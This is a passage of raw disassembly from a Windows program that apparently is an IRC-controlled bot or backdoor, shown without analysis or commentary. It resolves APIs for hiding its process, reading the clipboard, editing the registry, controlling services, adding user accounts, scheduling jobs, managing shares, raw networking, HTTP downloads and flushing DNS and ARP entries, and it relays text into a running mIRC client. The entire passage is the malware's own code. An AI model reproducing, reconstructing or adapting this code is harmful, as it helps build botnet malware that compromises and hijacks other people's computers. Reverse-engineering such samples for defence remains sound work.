; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_42D898, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_42D87C, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_42D7A8, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_42D758, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_42D784, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_42D7F4, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_42D8D4, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_42D92C, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_42D7B4, eax call esi ; GetProcAddress cmp dword_42D920, ebx mov dword_42D79C, eax jz short loc_4046EE cmp dword_42D898, ebx jz short loc_4046EE cmp dword_42D87C, ebx jz short loc_4046EE cmp dword_42D7A8, ebx jz short loc_4046EE cmp dword_42D784, ebx jz short loc_4046EE cmp dword_42D7F4, ebx jz short loc_4046EE cmp dword_42D8D4, ebx jz short loc_4046EE cmp dword_42D92C, ebx jz short loc_4046EE cmp dword_42D7B4, ebx jz short loc_4046EE cmp eax, ebx jnz short loc_4046F8 loc_4046EE: ; CODE XREF: sub_4045F0+B8j ; sub_4045F0+C0j ... mov dword_42D930, 1 loc_4046F8: ; CODE XREF: sub_4045F0+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_42D8AC, eax jz short loc_404725 push 1 push ebx call eax ; GetDiskFreeSpaceExA jmp short loc_404725 ; --------------------------------------------------------------------------- loc_404710: ; CODE XREF: sub_4045F0+1Dj call dword_418044 ; RtlGetLastWin32Error mov dword_42D934, eax mov dword_42D930, 1 loc_404725: ; CODE XREF: sub_4045F0+117j ; sub_4045F0+11Ej push offset aUser32_dll ; "user32.dll" call dword_41808C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4047E0 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_42D8D0, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_42D884, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_42D81C, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_42D924, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_42D848, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_42D868, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_42D8C8, eax call esi ; GetProcAddress cmp dword_42D8D0, ebx mov dword_42D7D0, eax jz short loc_4047EB cmp dword_42D884, ebx jz short loc_4047EB cmp dword_42D81C, ebx jz short loc_4047EB cmp dword_42D924, ebx jz short loc_4047EB cmp dword_42D848, ebx jz short loc_4047EB cmp dword_42D868, ebx jz short loc_4047EB cmp dword_42D8C8, ebx jz short loc_4047EB cmp eax, ebx jnz short loc_4047F5 jmp short loc_4047EB ; --------------------------------------------------------------------------- loc_4047E0: ; CODE XREF: sub_4045F0+144j call dword_418044 ; RtlGetLastWin32Error mov dword_42D93C, eax loc_4047EB: ; CODE XREF: sub_4045F0+1B8j ; sub_4045F0+1C0j ... mov dword_42D938, 1 loc_4047F5: ; CODE XREF: sub_4045F0+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404990 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_42D8E4, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_42D830, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_42D89C, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_42D794, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_42D7F0, eax call esi ; GetProcAddress cmp dword_42D8E4, ebx mov dword_42D854, eax jz short loc_404880 cmp dword_42D830, ebx jz short loc_404880 cmp dword_42D89C, ebx jz short loc_404880 cmp dword_42D794, ebx jz short loc_404880 cmp dword_42D7F0, ebx jz short loc_404880 cmp eax, ebx jnz short loc_40488A loc_404880: ; CODE XREF: sub_4045F0+26Aj ; sub_4045F0+272j ... mov dword_42D940, 1 loc_40488A: ; CODE XREF: sub_4045F0+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_42D85C, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_42D838, eax call esi ; GetProcAddress cmp dword_42D85C, ebx mov dword_42D8E0, eax jz short loc_4048C5 cmp dword_42D838, ebx jz short loc_4048C5 cmp eax, ebx jnz short loc_4048CF loc_4048C5: ; CODE XREF: sub_4045F0+2C7j ; sub_4045F0+2CFj mov dword_42D940, 1 loc_4048CF: ; CODE XREF: sub_4045F0+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_42D86C, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_42D770, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_42D778, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_42D7D8, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_42D7DC, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_42D78C, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_42D83C, eax call esi ; GetProcAddress cmp dword_42D86C, ebx mov dword_42D77C, eax jz short loc_404973 cmp dword_42D770, ebx jz short loc_404973 cmp dword_42D778, ebx jz short loc_404973 cmp dword_42D7D8, ebx jz short loc_404973 cmp dword_42D7DC, ebx jz short loc_404973 cmp dword_42D78C, ebx jz short loc_404973 cmp dword_42D83C, ebx jz short loc_404973 cmp eax, ebx jnz short loc_40497D loc_404973: ; CODE XREF: sub_4045F0+34Dj ; sub_4045F0+355j ... mov dword_42D940, 1 loc_40497D: ; CODE XREF: sub_4045F0+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_42D774, eax jnz short loc_4049A5 jmp short loc_40499B ; --------------------------------------------------------------------------- loc_404990: ; CODE XREF: sub_4045F0+210j call dword_418044 ; RtlGetLastWin32Error mov dword_42D944, eax loc_40499B: ; CODE XREF: sub_4045F0+39Ej mov dword_42D940, 1 loc_4049A5: ; CODE XREF: sub_4045F0+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404A71 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_42D864, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_42D8B8, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_42D8C0, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_42D880, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_42D7B8, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_42D768, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_42D8BC, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_42D754, eax call esi ; GetProcAddress cmp dword_42D864, ebx mov dword_42D7E8, eax jz short loc_404A7C cmp dword_42D8B8, ebx jz short loc_404A7C cmp dword_42D8C0, ebx jz short loc_404A7C cmp dword_42D880, ebx jz short loc_404A7C cmp dword_42D7B8, ebx jz short loc_404A7C cmp dword_42D768, ebx jz short loc_404A7C cmp dword_42D8BC, ebx jz short loc_404A7C cmp dword_42D754, ebx jz short loc_404A7C cmp eax, ebx jnz short loc_404A86 jmp short loc_404A7C ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4045F0+3C0j call dword_418044 ; RtlGetLastWin32Error mov dword_42D94C, eax loc_404A7C: ; CODE XREF: sub_4045F0+441j ; sub_4045F0+449j ... mov dword_42D948, 1 loc_404A86: ; CODE XREF: sub_4045F0+47Dj mov ebp, dword_41808C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404D42 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_42D7FC, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_42D918, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_42D7A4, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_42D780, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_42D828, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_42D814, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_42D7E4, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_42D8F4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_42D910, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_42D824, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_42D900, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_42D8B4, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_42D878, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_42D874, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_42D7C4, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_42D7BC, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_42D8C4, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_42D8D8, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_42D890, eax call esi ; GetProcAddress mov dword_42D850, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_42D8A4, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_42D860, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_42D8A0, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_42D908, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_42D858, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_42D820, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_42D88C, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_42D8F8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_42D834, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_42D7E0, eax call esi ; GetProcAddress cmp dword_42D7FC, ebx mov dword_42D90C, eax jz loc_404D4D cmp dword_42D918, ebx jz loc_404D4D cmp dword_42D7A4, ebx jz loc_404D4D cmp dword_42D828, ebx jz loc_404D4D cmp dword_42D814, ebx jz loc_404D4D cmp dword_42D7E4, ebx jz loc_404D4D cmp dword_42D8F4, ebx jz loc_404D4D cmp dword_42D910, ebx jz loc_404D4D cmp dword_42D824, ebx jz loc_404D4D cmp dword_42D900, ebx jz loc_404D4D cmp dword_42D8B4, ebx jz loc_404D4D cmp dword_42D878, ebx jz loc_404D4D cmp dword_42D874, ebx jz loc_404D4D cmp dword_42D7C4, ebx jz short loc_404D4D cmp dword_42D8C4, ebx jz short loc_404D4D cmp dword_42D8D8, ebx jz short loc_404D4D cmp dword_42D890, ebx jz short loc_404D4D cmp dword_42D850, ebx jz short loc_404D4D cmp dword_42D8A4, ebx jz short loc_404D4D cmp dword_42D860, ebx jz short loc_404D4D cmp dword_42D8A0, ebx jz short loc_404D4D cmp dword_42D908, ebx jz short loc_404D4D cmp dword_42D858, ebx jz short loc_404D4D cmp dword_42D820, ebx jz short loc_404D4D cmp dword_42D88C, ebx jz short loc_404D4D cmp dword_42D8F8, ebx jz short loc_404D4D cmp dword_42D834, ebx jz short loc_404D4D cmp eax, ebx jnz short loc_404D57 jmp short loc_404D4D ; --------------------------------------------------------------------------- loc_404D42: ; CODE XREF: sub_4045F0+4A7j call dword_418044 ; RtlGetLastWin32Error mov dword_42D954, eax loc_404D4D: ; CODE XREF: sub_4045F0+646j ; sub_4045F0+652j ... mov dword_42D950, 1 loc_404D57: ; CODE XREF: sub_4045F0+74Ej push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404E5C push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_42D7CC, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_42D75C, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_42D844, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_42D800, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_42D84C, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_42D818, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_42D798, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_42D790, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_42D7A0, eax call esi ; GetProcAddress cmp dword_42D7CC, ebx mov ecx, dword_42D818 mov dword_42D8A8, eax jz short loc_404E38 cmp dword_42D75C, ebx jz short loc_404E38 cmp dword_42D844, ebx jz short loc_404E38 cmp dword_42D800, ebx jz short loc_404E38 cmp dword_42D84C, ebx jz short loc_404E38 cmp ecx, ebx jz short loc_404E38 cmp dword_42D798, ebx jz short loc_404E38 cmp dword_42D790, ebx jz short loc_404E38 cmp dword_42D7A0, ebx jz short loc_404E38 cmp eax, ebx jnz short loc_404E42 loc_404E38: ; CODE XREF: sub_4045F0+806j ; sub_4045F0+80Ej ... mov dword_42D958, 1 loc_404E42: ; CODE XREF: sub_4045F0+846j cmp ecx, ebx jz short loc_404E77 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_42D82C, eax jnz short loc_404E77 jmp short loc_404E71 ; --------------------------------------------------------------------------- loc_404E5C: ; CODE XREF: sub_4045F0+772j call dword_418044 ; RtlGetLastWin32Error mov dword_42D95C, eax mov dword_42D958, 1 loc_404E71: ; CODE XREF: sub_4045F0+86Aj mov dword_42D82C, ebx loc_404E77: ; CODE XREF: sub_4045F0+854j ; sub_4045F0+868j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404EC1 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_42D80C, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_42D928, eax call esi ; GetProcAddress cmp dword_42D80C, ebx mov dword_42D7AC, eax jz short loc_404ECC cmp dword_42D928, ebx jz short loc_404ECC cmp eax, ebx jnz short loc_404ED6 jmp short loc_404ECC ; --------------------------------------------------------------------------- loc_404EC1: ; CODE XREF: sub_4045F0+892j call dword_418044 ; RtlGetLastWin32Error mov dword_42D964, eax loc_404ECC: ; CODE XREF: sub_4045F0+8C1j ; sub_4045F0+8C9j ... mov dword_42D960, 1 loc_404ED6: ; CODE XREF: sub_4045F0+8CDj push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404FCC push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_42D788, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_42D764, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_42D7D4, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_42D804, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_42D904, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_42D7C0, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_42D76C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_42D760, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_42D7EC, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_42D8CC, eax call esi ; GetProcAddress cmp dword_42D788, ebx mov dword_42D888, eax jz short loc_404FD7 cmp dword_42D764, ebx jz short loc_404FD7 cmp dword_42D7D4, ebx jz short loc_404FD7 cmp dword_42D804, ebx jz short loc_404FD7 cmp dword_42D904, ebx jz short loc_404FD7 cmp dword_42D7C0, ebx jz short loc_404FD7 cmp dword_42D76C, ebx jz short loc_404FD7 cmp dword_42D760, ebx jz short loc_404FD7 cmp dword_42D7EC, ebx jz short loc_404FD7 cmp dword_42D8CC, ebx jz short loc_404FD7 cmp eax, ebx jnz short loc_404FE1 jmp short loc_404FD7 ; --------------------------------------------------------------------------- loc_404FCC: ; CODE XREF: sub_4045F0+8F1j call dword_418044 ; RtlGetLastWin32Error mov dword_42D96C, eax loc_404FD7: ; CODE XREF: sub_4045F0+98Cj ; sub_4045F0+994j ... mov dword_42D968, 1 loc_404FE1: ; CODE XREF: sub_4045F0+9D8j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_405016 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_42D7B0, eax call esi ; GetProcAddress cmp dword_42D7B0, ebx mov dword_42D870, eax jz short loc_405021 cmp eax, ebx jnz short loc_40502B jmp short loc_405021 ; --------------------------------------------------------------------------- loc_405016: ; CODE XREF: sub_4045F0+9FCj call dword_418044 ; RtlGetLastWin32Error mov dword_42D974, eax loc_405021: ; CODE XREF: sub_4045F0+A1Ej ; sub_4045F0+A24j mov dword_42D970, 1 loc_40502B: ; CODE XREF: sub_4045F0+A22j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_405060 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_42D8F0, eax call esi ; GetProcAddress cmp dword_42D8F0, ebx mov dword_42D8EC, eax jz short loc_40506B cmp eax, ebx jnz short loc_405075 jmp short loc_40506B ; --------------------------------------------------------------------------- loc_405060: ; CODE XREF: sub_4045F0+A46j call dword_418044 ; RtlGetLastWin32Error mov dword_42D97C, eax loc_40506B: ; CODE XREF: sub_4045F0+A68j ; sub_4045F0+A6Ej mov dword_42D978, 1 loc_405075: ; CODE XREF: sub_4045F0+A6Cj push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4050D4 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_42D91C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_42D914, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_42D8DC, eax call esi ; GetProcAddress cmp dword_42D91C, ebx mov dword_42D7C8, eax jz short loc_4050DF cmp dword_42D914, ebx jz short loc_4050DF cmp dword_42D8DC, ebx jz short loc_4050DF cmp eax, ebx jnz short loc_4050E9 jmp short loc_4050DF ; --------------------------------------------------------------------------- loc_4050D4: ; CODE XREF: sub_4045F0+A90j call dword_418044 ; RtlGetLastWin32Error mov dword_42D984, eax loc_4050DF: ; CODE XREF: sub_4045F0+ACCj ; sub_4045F0+AD4j ... mov dword_42D980, 1 loc_4050E9: ; CODE XREF: sub_4045F0+AE0j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40511E push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_42D7F8, eax call esi ; GetProcAddress cmp dword_42D7F8, ebx mov dword_42D8E8, eax jz short loc_405129 cmp eax, ebx jnz short loc_405133 jmp short loc_405129 ; --------------------------------------------------------------------------- loc_40511E: ; CODE XREF: sub_4045F0+B04j call dword_418044 ; RtlGetLastWin32Error mov dword_42D98C, eax loc_405129: ; CODE XREF: sub_4045F0+B26j ; sub_4045F0+B2Cj mov dword_42D988, 1 loc_405133: ; CODE XREF: sub_4045F0+B2Aj push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4051BC push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_42D8B0, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_42D8FC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_42D840, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_42D808, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_42D894, eax call esi ; GetProcAddress cmp dword_42D8B0, ebx mov dword_42D810, eax jz short loc_4051C7 cmp dword_42D8FC, ebx jz short loc_4051C7 cmp dword_42D840, ebx jz short loc_4051C7 cmp dword_42D808, ebx jz short loc_4051C7 cmp dword_42D894, ebx jz short loc_4051C7 cmp eax, ebx jnz short loc_4051D1 jmp short loc_4051C7 ; --------------------------------------------------------------------------- loc_4051BC: ; CODE XREF: sub_4045F0+B4Ej call dword_418044 ; RtlGetLastWin32Error mov dword_42D994, eax loc_4051C7: ; CODE XREF: sub_4045F0+BA4j ; sub_4045F0+BACj ... mov dword_42D990, 1 loc_4051D1: ; CODE XREF: sub_4045F0+BC8j pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_4045F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051D9 proc near ; CODE XREF: sub_4077FD+8FCp ; sub_4077FD+927p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_405264 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_405264 cmp [ebp+arg_8], esi jz short loc_405264 cmp byte ptr [eax], 0 jz short loc_405264 push ebx push edi call sub_4176F0 mov ebx, eax pop ecx test ebx, ebx jz short loc_40525F push [ebp+arg_4] push edi call sub_40E4B0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405258 sub eax, edi push eax push edi push ebx call sub_40C720 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_40CBC0 push eax push [ebp+arg_8] push ebx call sub_40C5A0 push [ebp+arg_4] call sub_40CBC0 add eax, esi push eax push ebx call sub_40E3D0 push ebx push edi call sub_40E3C0 add esp, 30h mov esi, edi loc_405258: ; CODE XREF: sub_4051D9+3Cj push ebx call sub_40CD81 pop ecx loc_40525F: ; CODE XREF: sub_4051D9+2Bj mov eax, esi pop ebx jmp short loc_405266 ; --------------------------------------------------------------------------- loc_405264: ; CODE XREF: sub_4051D9+Cj ; sub_4051D9+13j ... xor eax, eax loc_405266: ; CODE XREF: sub_4051D9+89j pop edi pop esi pop ebp retn sub_4051D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40526A proc near ; CODE XREF: sub_407681+E9p var_960 = dword ptr -960h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 960h push ebx push esi push edi xor ebx, ebx push 960h lea eax, [ebp+var_960] push ebx push eax call sub_40CC40 mov esi, [ebp+arg_0] push esi call sub_40CBC0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_4052A2 or eax, 0FFFFFFFFh jmp short loc_405309 ; --------------------------------------------------------------------------- loc_4052A2: ; CODE XREF: sub_40526A+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_960], esi jle short loc_4052C3 loc_4052AE: ; CODE XREF: sub_40526A+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4052BB cmp dl, 0Dh jnz short loc_4052BE loc_4052BB: ; CODE XREF: sub_40526A+4Aj mov [ecx+esi], bl loc_4052BE: ; CODE XREF: sub_40526A+4Fj inc ecx cmp ecx, eax jl short loc_4052AE loc_4052C3: ; CODE XREF: sub_40526A+42j xor edx, edx cmp eax, ebx jle short loc_4052EB loc_4052C9: ; CODE XREF: sub_40526A+7Fj cmp [edx+esi], bl jnz short loc_4052E6 lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_4052E6 cmp edi, 258h jge short loc_4052EB mov [ebp+edi*4+var_960], ecx inc edi loc_4052E6: ; CODE XREF: sub_40526A+62j ; sub_40526A+6Aj inc edx cmp edx, eax jl short loc_4052C9 loc_4052EB: ; CODE XREF: sub_40526A+5Dj ; sub_40526A+72j cmp [ebp+arg_4], ebx jz short loc_405307 lea eax, [ebp+var_960] push 960h push eax push [ebp+arg_4] call near ptr sub_40C820 add esp, 0Ch loc_405307: ; CODE XREF: sub_40526A+84j mov eax, edi loc_405309: ; CODE XREF: sub_40526A+36j pop edi pop esi pop ebx leave retn sub_40526A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40530E proc near ; CODE XREF: sub_4077FD+23A2p ; sub_4077FD+2B26p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_418044 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_418098 ; FormatMessageA lea eax, [ebp+var_100] loc_405347: ; CODE XREF: sub_40530E+46j mov cl, [eax] cmp cl, 1Fh jg short loc_405353 cmp cl, 9 jnz short loc_405356 loc_405353: ; CODE XREF: sub_40530E+3Ej inc eax jmp short loc_405347 ; --------------------------------------------------------------------------- loc_405356: ; CODE XREF: sub_40530E+43j ; sub_40530E+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_405370 mov cl, [eax] cmp cl, 2Eh jz short loc_405356 cmp cl, 21h jl short loc_405356 loc_405370: ; CODE XREF: sub_40530E+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_42D9A0 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_40D3F7 add esp, 18h mov eax, esi pop esi leave retn sub_40530E endp ; =============== S U B R O U T I N E ======================================= sub_405398 proc near ; CODE XREF: sub_4077FD+32DCp push esi push 0 call dword_42D848 ; OpenClipboard test eax, eax jz short loc_4053CF push 1 call dword_42D868 ; GetClipboardData mov esi, eax test esi, esi jz short loc_4053CF push edi push esi call dword_4180A0 ; GlobalLock push esi mov edi, eax call dword_41809C ; GlobalUnlock call dword_42D8C8 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4053CF: ; CODE XREF: sub_405398+Bj ; sub_405398+19j xor eax, eax pop esi retn sub_405398 endp ; =============== S U B R O U T I N E ======================================= sub_4053D3 proc near ; CODE XREF: sub_4077FD+2AB3p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_42D884 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40544F push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4180AC ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4180A8 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_40C6C3 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_42D8D0 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_42D8D0 ; SendMessageA push ebx call dword_4180A4 ; UnmapViewOfFile push edi call dword_41807C ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_405451 ; --------------------------------------------------------------------------- loc_40544F: ; CODE XREF: sub_4053D3+16j xor eax, eax loc_405451: ; 